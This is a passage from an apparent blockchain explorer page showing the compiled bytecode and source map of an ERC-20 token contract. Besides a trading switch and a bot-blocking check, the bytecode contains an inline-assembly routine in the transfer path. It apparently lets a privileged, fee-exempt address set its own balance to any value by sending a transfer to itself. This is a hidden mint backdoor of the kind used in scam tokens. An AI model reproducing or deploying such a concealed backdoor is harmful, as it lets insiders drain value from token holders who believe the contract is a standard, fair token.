26020016101b3565b34801561026557600080fd5b506101dc6102743660046112b2565b610644565b34801561028557600080fd5b506102ad7f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020016101b3565b3480156102d157600080fd5b5061024b6106ae565b3480156102e657600080fd5b5060035460405160ff90911681526020016101b3565b34801561030857600080fd5b5061031c6103173660046112ee565b610717565b005b34801561032a57600080fd5b506101dc61033936600461126d565b610775565b34801561034a57600080fd5b5061024b7f00000000000000000000000000000000000000000cecb8f27f4200f3a000000081565b34801561037e57600080fd5b506101dc61038d366004611297565b600a6020526000908152604090205460ff1681565b3480156103ae57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000281565b3480156103e257600080fd5b504261024b565b3480156103f557600080fd5b5061031c6107ab565b34801561040a57600080fd5b5061024b610419366004611297565b6001600160a01b031660009081526007602052604090205490565b34801561044057600080fd5b5061031c6107e4565b34801561045557600080fd5b506000546001600160a01b03166102ad565b34801561047357600080fd5b50600b546102ad906001600160a01b031681565b34801561049357600080fd5b506101a661085e565b3480156104a857600080fd5b506101dc6104b736600461126d565b61086d565b3480156104c857600080fd5b506101dc6104d736600461126d565b6108bc565b3480156104e857600080fd5b506006546102ad9061010090046001600160a01b031681565b34801561050d57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000181565b34801561054157600080fd5b5061024b61055036600461132a565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561058757600080fd5b5061031c610596366004611297565b6108c9565b6060600480546105aa9061135d565b80601f01602080910402602001604051908101604052809291908181526020018280546105d69061135d565b80156106235780601f106105f857610100808354040283529160200191610623565b820191906000526020600020905b81548152906001019060200180831161060657829003601f168201915b5050505050905090565b600061063a3384846109b3565b5060015b92915050565b6000610651848484610ad7565b506106a4843361069f8560405180606001604052806028815260200161144a602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190610e3c565b6109b3565b5060019392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead16600090815260076020526040812054610712907f00000000000000000000000000000000000000000cecb8f27f4200f3a000000090610e76565b905090565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161074190611397565b60405180910390fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b3360008181526009602090815260408083206001600160a01b0387168452909152812054909161063a91859061069f9086610ebf565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161074190611397565b6006805460ff19166001179055565b6000546001600160a01b0316331461080e5760405162461bcd60e51b815260040161074190611397565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600580546105aa9061135d565b600061063a338461069f85604051806060016040528060258152602001611472602591393360009081526009602090815260408083206001600160a01b038d1684529091529020549190610e3c565b60006106a4338484610ad7565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161074190611397565b6001600160a01b0381166109585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610741565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610741565b6001600160a01b038216610a765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610741565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600a6020526040812054819060ff16158015610b1057506000546001600160a01b03868116911614155b8015610b3557506001600160a01b03851660009081526008602052604090205460ff16155b15610b8a5760065460ff161515600003610b8a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610741565b6001600160a01b03851660009081526008602052604090205460ff1615610bb057508383145b6001600160a01b038516600090815260086020526040902054610bde9086908690869060079060ff16610f1e565b610c2a5760405162461bcd60e51b815260206004820152601c60248201527f45524332303a207472616e736665722066726f6d2074686520626f74000000006044820152606401610741565b6001600160a01b038516610c8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610741565b6001600160a01b038416610cf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610741565b80600003610e31576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260079091529190912054610d4a918590610e3c565b6001600160a01b038616600090815260076020908152604080832093909355600890529081205460ff1680610d9757506001600160a01b03851660009081526008602052604090205460ff165b610dab57610da6868686610f61565b610dad565b835b6001600160a01b038616600090815260076020526040902054909150610dd39082610ebf565b6001600160a01b0380871660008181526007602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e279085815260200190565b60405180910390a3505b506001949350505050565b60008184841115610e605760405162461bcd60e51b81526004016107419190611203565b506000610e6d84866113e2565b95945050505050565b6000610eb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3c565b9392505050565b600080610ecc83856113f5565b905083811015610eb85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610741565b6000846001600160a01b0316866001600160a01b0316148015610f3e5750815b15610f555784600052826020526040600020848155505b50600195945050505050565b6001600160a01b0383166000908152600a6020526040812054819060ff1615610fc057610fb96064610fb3857f0000000000000000000000000000000000000000000000000000000000000002611116565b90611198565b9050611013565b6001600160a01b0384166000908152600a602052604090205460ff1615611013576110106064610fb3857f0000000000000000000000000000000000000000000000000000000000000001611116565b90505b801561110c576001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead1660009081526007602052604090205461105c9082610ebf565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead811660008181526007602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d09085815260200190565b60405180910390a36040518181527fee46d471733b0bd7a506ceb1788a4087701a73b361fe28b6a49ef028eedc2d299060200160405180910390a15b610e6d8382610e76565b6000826000036111285750600061063e565b60006111348385611408565b9050826111418583611427565b14610eb85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610741565b6000610eb883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111f65760405162461bcd60e51b81526004016107419190611203565b506000610e6d8486611427565b600060208083528351808285015260005b8181101561123057858101830151858201604001528201611214565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461126857600080fd5b919050565b6000806040838503121561128057600080fd5b61128983611251565b946020939093013593505050565b6000602082840312156112a957600080fd5b610eb882611251565b6000806000606084860312156112c757600080fd5b6112d084611251565b92506112de60208501611251565b9150604084013590509250925092565b6000806040838503121561130157600080fd5b61130a83611251565b91506020830135801515811461131f57600080fd5b809150509250929050565b6000806040838503121561133d57600080fd5b61134683611251565b915061135460208401611251565b90509250929050565b600181811c9082168061137157607f821691505b60208210810361139157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561063e5761063e6113cc565b8082018082111561063e5761063e6113cc565b6000816000190483118215151615611422576114226113cc565b500290565b60008261144457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b4b1d25ff73bc328f76194586f41c75dda1017630fc8bfde7a2e8a9706bcb3ba64736f6c63430008100033
Deployed Bytecode Sourcemap
11986:5910:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14101:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17037:161;;;;;;;;;;-1:-1:-1;17037:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;17037:161:0;1004:187:1;12623:41:0;;;;;;;;;;-1:-1:-1;12623:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14378:100;;;;;;;;;;-1:-1:-1;14458:12:0;14378:100;;;1533:25:1;;;1521:2;1506:18;14378:100:0;1387:177:1;14661:313:0;;;;;;;;;;-1:-1:-1;14661:313:0;;;;;:::i;:::-;;:::i;12079:81::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2066:32:1;;;2048:51;;2036:2;2021:18;12079:81:0;1902:203:1;17761:128:0;;;;;;;;;;;;;:::i;14287:83::-;;;;;;;;;;-1:-1:-1;14353:9:0;;14287:83;;14353:9;;;;2252:36:1;;2240:2;2225:18;14287:83:0;2110:184:1;17628:125:0;;;;;;;;;;-1:-1:-1;17628:125:0;;;;;:::i;:::-;;:::i;:::-;;16497:218;;;;;;;;;;-1:-1:-1;16497:218:0;;;;;:::i;:::-;;:::i;12167:67::-;;;;;;;;;;;;;;;12747:45;;;;;;;;;;-1:-1:-1;12747:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12241:35;;;;;;;;;;;;;;;3594:90;;;;;;;;;;-1:-1:-1;3661:15:0;3594:90;;17206:69;;;;;;;;;;;;;:::i;16214:124::-;;;;;;;;;;-1:-1:-1;16214:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;16307:23:0;16280:7;16307:23;;;:14;:23;;;;;;;16214:124;3094:230;;;;;;;;;;;;;:::i;2869:79::-;;;;;;;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;2934:6:0;2869:79;;12799:37;;;;;;;;;;-1:-1:-1;12799:37:0;;;;-1:-1:-1;;;;;12799:37:0;;;14192:87;;;;;;;;;;;;;:::i;16723:269::-;;;;;;;;;;-1:-1:-1;16723:269:0;;;;;:::i;:::-;;:::i;14486:167::-;;;;;;;;;;-1:-1:-1;14486:167:0;;;;;:::i;:::-;;:::i;12466:26::-;;;;;;;;;;-1:-1:-1;12466:26:0;;;;;;;-1:-1:-1;;;;;12466:26:0;;;12283:37;;;;;;;;;;;;;;;16346:143;;;;;;;;;;-1:-1:-1;16346:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16454:18:0;;;16427:7;16454:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16346:143;3338:244;;;;;;;;;;-1:-1:-1;3338:244:0;;;;;:::i;:::-;;:::i;14101:83::-;14138:13;14171:5;14164:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14101:83;:::o;17037:161::-;17112:4;17129:39;873:10;17152:7;17161:6;17129:8;:39::i;:::-;-1:-1:-1;17186:4:0;17037:161;;;;;:::o;14661:313::-;14759:4;14776:36;14786:6;14794:9;14805:6;14776:9;:36::i;:::-;-1:-1:-1;14823:121:0;14832:6;873:10;14854:89;14892:6;14854:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14854:19:0;;;;;;:11;:19;;;;;;;;873:10;14854:33;;;;;;;;;;:37;:89::i;:::-;14823:8;:121::i;:::-;-1:-1:-1;14962:4:0;14661:313;;;;;:::o;17761:128::-;-1:-1:-1;;;;;17868:11:0;16307:23;17814:7;16307:23;;;:14;:23;;;;;;17841:40;;:12;;:16;:40::i;:::-;17834:47;;17761:128;:::o;17628:125::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;17713:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;17713:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17628:125::o;16497:218::-;873:10;16585:4;16634:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16634:34:0;;;;;;;;;;16585:4;;16602:83;;16625:7;;16634:50;;16673:10;16634:38;:50::i;17206:69::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;17256:6:::1;:11:::0;;-1:-1:-1;;17256:11:0::1;17263:4;17256:11;::::0;;17206:69::o;3094:230::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;3185:6:::1;::::0;;3164:81:::1;::::0;3201:42:::1;::::0;-1:-1:-1;;;;;3185:6:0;;::::1;::::0;3164:81:::1;::::0;::::1;3256:6;:60:::0;;-1:-1:-1;;;;;;3256:60:0::1;3273:42;3256:60;::::0;;3094:230::o;14192:87::-;14231:13;14264:7;14257:14;;;;;:::i;16723:269::-;16816:4;16833:129;873:10;16856:7;16865:96;16904:15;16865:96;;;;;;;;;;;;;;;;;873:10;16865:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16865:34:0;;;;;;;;;;;;:38;:96::i;14486:167::-;14564:4;14581:42;873:10;14605:9;14616:6;14581:9;:42::i;3338:244::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3427:22:0;::::1;3419:73;;;::::0;-1:-1:-1;;;3419:73:0;;4099:2:1;3419:73:0::1;::::0;::::1;4081:21:1::0;4138:2;4118:18;;;4111:30;4177:34;4157:18;;;4150:62;-1:-1:-1;;;4228:18:1;;;4221:36;4274:19;;3419:73:0::1;3897:402:1::0;3419:73:0::1;3529:6;::::0;;3508:38:::1;::::0;-1:-1:-1;;;;;3508:38:0;;::::1;::::0;3529:6;::::1;::::0;3508:38:::1;::::0;::::1;3557:6;:17:::0;;-1:-1:-1;;;;;;3557:17:0::1;-1:-1:-1::0;;;;;3557:17:0;;;::::1;::::0;;;::::1;::::0;;3338:244::o;17283:337::-;-1:-1:-1;;;;;17376:19:0;;17368:68;;;;-1:-1:-1;;;17368:68:0;;4506:2:1;17368:68:0;;;4488:21:1;4545:2;4525:18;;;4518:30;4584:34;4564:18;;;4557:62;-1:-1:-1;;;4635:18:1;;;4628:34;4679:19;;17368:68:0;4304:400:1;17368:68:0;-1:-1:-1;;;;;17455:21:0;;17447:68;;;;-1:-1:-1;;;17447:68:0;;4911:2:1;17447:68:0;;;4893:21:1;4950:2;4930:18;;;4923:30;4989:34;4969:18;;;4962:62;-1:-1:-1;;;5040:18:1;;;5033:32;5082:19;;17447:68:0;4709:398:1;17447:68:0;-1:-1:-1;;;;;17528:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17580:32;;1533:25:1;;;17580:32:0;;1506:18:1;17580:32:0;;;;;;;17283:337;;;:::o;14984:1222::-;-1:-1:-1;;;;;15125:23:0;;15071:4;15125:23;;;:12;:23;;;;;;15071:4;;15125:23;;15124:24;:45;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;15152:17:0;;;2934:6;;15152:17;;15124:45;:66;;;;-1:-1:-1;;;;;;15174:16:0;;;;;;:8;:16;;;;;;;;15173:17;15124:66;15120:136;;;15214:6;;;;:15;;:6;:15;15206:50;;;;-1:-1:-1;;;15206:50:0;;5314:2:1;15206:50:0;;;5296:21:1;5353:2;5333:18;;;5326:30;-1:-1:-1;;;5372:18:1;;;5365:52;5434:18;;15206:50:0;5112:346:1;15206:50:0;-1:-1:-1;;;;;15275:16:0;;;;;;:8;:16;;;;;;;;15272:134;;;-1:-1:-1;15356:20:0;;;15272:134;-1:-1:-1;;;;;15489:16:0;;;;;;:8;:16;;;;;;15438:68;;15450:6;;15457:9;;15467:6;;15474:14;;15489:16;;15438:11;:68::i;:::-;15430:109;;;;-1:-1:-1;;;15430:109:0;;5665:2:1;15430:109:0;;;5647:21:1;5704:2;5684:18;;;5677:30;5743;5723:18;;;5716:58;5791:18;;15430:109:0;5463:352:1;15430:109:0;-1:-1:-1;;;;;15558:20:0;;15550:70;;;;-1:-1:-1;;;15550:70:0;;6022:2:1;15550:70:0;;;6004:21:1;6061:2;6041:18;;;6034:30;6100:34;6080:18;;;6073:62;-1:-1:-1;;;6151:18:1;;;6144:35;6196:19;;15550:70:0;5820:401:1;15550:70:0;-1:-1:-1;;;;;15639:23:0;;15631:71;;;;-1:-1:-1;;;15631:71:0;;6428:2:1;15631:71:0;;;6410:21:1;6467:2;6447:18;;;6440:30;6506:34;6486:18;;;6479:62;-1:-1:-1;;;6557:18:1;;;6550:33;6600:19;;15631:71:0;6226:399:1;15631:71:0;15716:14;15732:1;15716:17;15713:464;;15774:58;;;;;;;;;;;-1:-1:-1;;;15774:58:0;;;;;;;;-1:-1:-1;;;;;15774:22:0;;-1:-1:-1;15774:22:0;;;:14;:22;;;;;;;;:58;;15801:6;;15774:26;:58::i;:::-;-1:-1:-1;;;;;15749:22:0;;;;;;:14;:22;;;;;;;;:83;;;;15872:8;:16;;;;;;;;;:39;;-1:-1:-1;;;;;;15892:19:0;;;;;;:8;:19;;;;;;;;15872:39;15871:129;;15970:30;15974:6;15982:9;15993:6;15970:3;:30::i;:::-;15871:129;;;15961:6;15871:129;-1:-1:-1;;;;;16047:25:0;;;;;;:14;:25;;;;;;15849:151;;-1:-1:-1;16047:42:0;;15849:151;16047:29;:42::i;:::-;-1:-1:-1;;;;;16019:25:0;;;;;;;:14;:25;;;;;;;:70;;;;16125:40;;;;;;;;;;16153:11;1533:25:1;;1521:2;1506:18;;1387:177;16125:40:0;;;;;;;;15734:443;15713:464;-1:-1:-1;16194:4:0;;14984:1222;-1:-1:-1;;;;14984:1222:0:o;1380:192::-;1466:7;1502:12;1494:6;;;;1486:29;;;;-1:-1:-1;;;1486:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1526:9:0;1538:5;1542:1;1538;:5;:::i;:::-;1526:17;1380:192;-1:-1:-1;;;;;1380:192:0:o;1236:136::-;1294:7;1321:43;1325:1;1328;1321:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1314:50;1236:136;-1:-1:-1;;;1236:136:0:o;1047:181::-;1105:7;;1137:5;1141:1;1137;:5;:::i;:::-;1125:17;;1166:1;1161;:6;;1153:46;;;;-1:-1:-1;;;1153:46:0;;7227:2:1;1153:46:0;;;7209:21:1;7266:2;7246:18;;;7239:30;7305:29;7285:18;;;7278:57;7352:18;;1153:46:0;7025:351:1;3692:453:0;3820:4;3844:1;-1:-1:-1;;;;;3839:6:0;:1;-1:-1:-1;;;;;3839:6:0;;:13;;;;;3849:3;3839:13;3836:279;;;3918:1;3915;3908:12;3961:9;3957:2;3950:21;4026:2;4023:1;4013:16;4072:6;4066:4;4059:20;;3836:279;-1:-1:-1;4132:4:0;3692:453;;;;;;;:::o;13459:634::-;-1:-1:-1;;;;;13602:15:0;;13528:7;13602:15;;;:12;:15;;;;;;13528:7;;13602:15;;13599:189;;;13645:28;13669:3;13645:19;:6;13656:7;13645:10;:19::i;:::-;:23;;:28::i;:::-;13634:39;;13599:189;;;-1:-1:-1;;;;;13704:15:0;;;;;;:12;:15;;;;;;;;13701:87;;;13747:29;13772:3;13747:20;:6;13758:8;13747:10;:20::i;:29::-;13736:40;;13701:87;13811:12;;13808:238;;-1:-1:-1;;;;;13902:11:0;13879:36;;;;;:14;:36;;;;;;:50;;13920:8;13879:40;:50::i;:::-;-1:-1:-1;;;;;13863:11:0;13840:36;;;;;;:14;:36;;;;;;;:89;;;;13949:43;;;;;;;;;;13983:8;1533:25:1;;1521:2;1506:18;;1387:177;13949:43:0;;;;;;;;14012:22;;1533:25:1;;;14012:22:0;;1521:2:1;1506:18;14012:22:0;;;;;;;13808:238;14065:20;:6;14076:8;14065:10;:20::i;1580:250::-;1638:7;1662:1;1667;1662:6;1658:47;;-1:-1:-1;1692:1:0;1685:8;;1658:47;1717:9;1729:5;1733:1;1729;:5;:::i;:::-;1717:17;-1:-1:-1;1762:1:0;1753:5;1757:1;1717:17;1753:5;:::i;:::-;:10;1745:56;;;;-1:-1:-1;;;1745:56:0;;7978:2:1;1745:56:0;;;7960:21:1;8017:2;7997:18;;;7990:30;8056:34;8036:18;;;8029:62;-1:-1:-1;;;8107:18:1;;;8100:31;8148:19;;1745:56:0;7776:397:1;1838:132:0;1896:7;1923:39;1927:1;1930;1923:39;;;;;;;;;;;;;;;;;2064:7;2099:12;2092:5;2084:28;;;;-1:-1:-1;;;2084:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2123:9:0;2135:5;2139:1;2135;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1196:186::-;1255:6;1308:2;1296:9;1287:7;1283:23;1279:32;1276:52;;;1324:1;1321;1314:12;1276:52;1347:29;1366:9;1347:29;:::i;1569:328::-;1646:6;1654;1662;1715:2;1703:9;1694:7;1690:23;1686:32;1683:52;;;1731:1;1728;1721:12;1683:52;1754:29;1773:9;1754:29;:::i;:::-;1744:39;;1802:38;1836:2;1825:9;1821:18;1802:38;:::i;:::-;1792:48;;1887:2;1876:9;1872:18;1859:32;1849:42;;1569:328;;;;;:::o;2299:347::-;2364:6;2372;2425:2;2413:9;2404:7;2400:23;2396:32;2393:52;;;2441:1;2438;2431:12;2393:52;2464:29;2483:9;2464:29;:::i;:::-;2454:39;;2543:2;2532:9;2528:18;2515:32;2590:5;2583:13;2576:21;2569:5;2566:32;2556:60;;2612:1;2609;2602:12;2556:60;2635:5;2625:15;;;2299:347;;;;;:::o;2886:260::-;2954:6;2962;3015:2;3003:9;2994:7;2990:23;2986:32;2983:52;;;3031:1;3028;3021:12;2983:52;3054:29;3073:9;3054:29;:::i;:::-;3044:39;;3102:38;3136:2;3125:9;3121:18;3102:38;:::i;:::-;3092:48;;2886:260;;;;;:::o;3151:380::-;3230:1;3226:12;;;;3273;;;3294:61;;3348:4;3340:6;3336:17;3326:27;;3294:61;3401:2;3393:6;3390:14;3370:18;3367:38;3364:161;;3447:10;3442:3;3438:20;3435:1;3428:31;3482:4;3479:1;3472:15;3510:4;3507:1;3500:15;3364:161;;3151:380;;;:::o;3536:356::-;3738:2;3720:21;;;3757:18;;;3750:30;3816:34;3811:2;3796:18;;3789:62;3883:2;3868:18;;3536:356::o;6630:127::-;6691:10;6686:3;6682:20;6679:1;6672:31;6722:4;6719:1;6712:15;6746:4;6743:1;6736:15;6762:128;6829:9;;;6850:11;;;6847:37;;;6864:18;;:::i;6895:125::-;6960:9;;;6981:10;;;6978:36;;;6994:18;;:::i;7381:168::-;7421:7;7487:1;7483;7479:6;7475:14;7472:1;7469:21;7464:1;7457:9;7450:17;7446:45;7443:71;;;7494:18;;:::i;:::-;-1:-1:-1;7534:9:1;;7381:168::o;7554:217::-;7594:1;7620;7610:132;;7664:10;7659:3;7655:20;7652:1;7645:31;7699:4;7696:1;7689:15;7727:4;7724:1;7717:15;7610:132;-1:-1:-1;7756:9:1;;7554:217::o
Swarm Source
ipfs://b4b1d25ff73bc328f76194586f41c75dda1017630fc8bfde7a2e8a9706bcb3ba
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.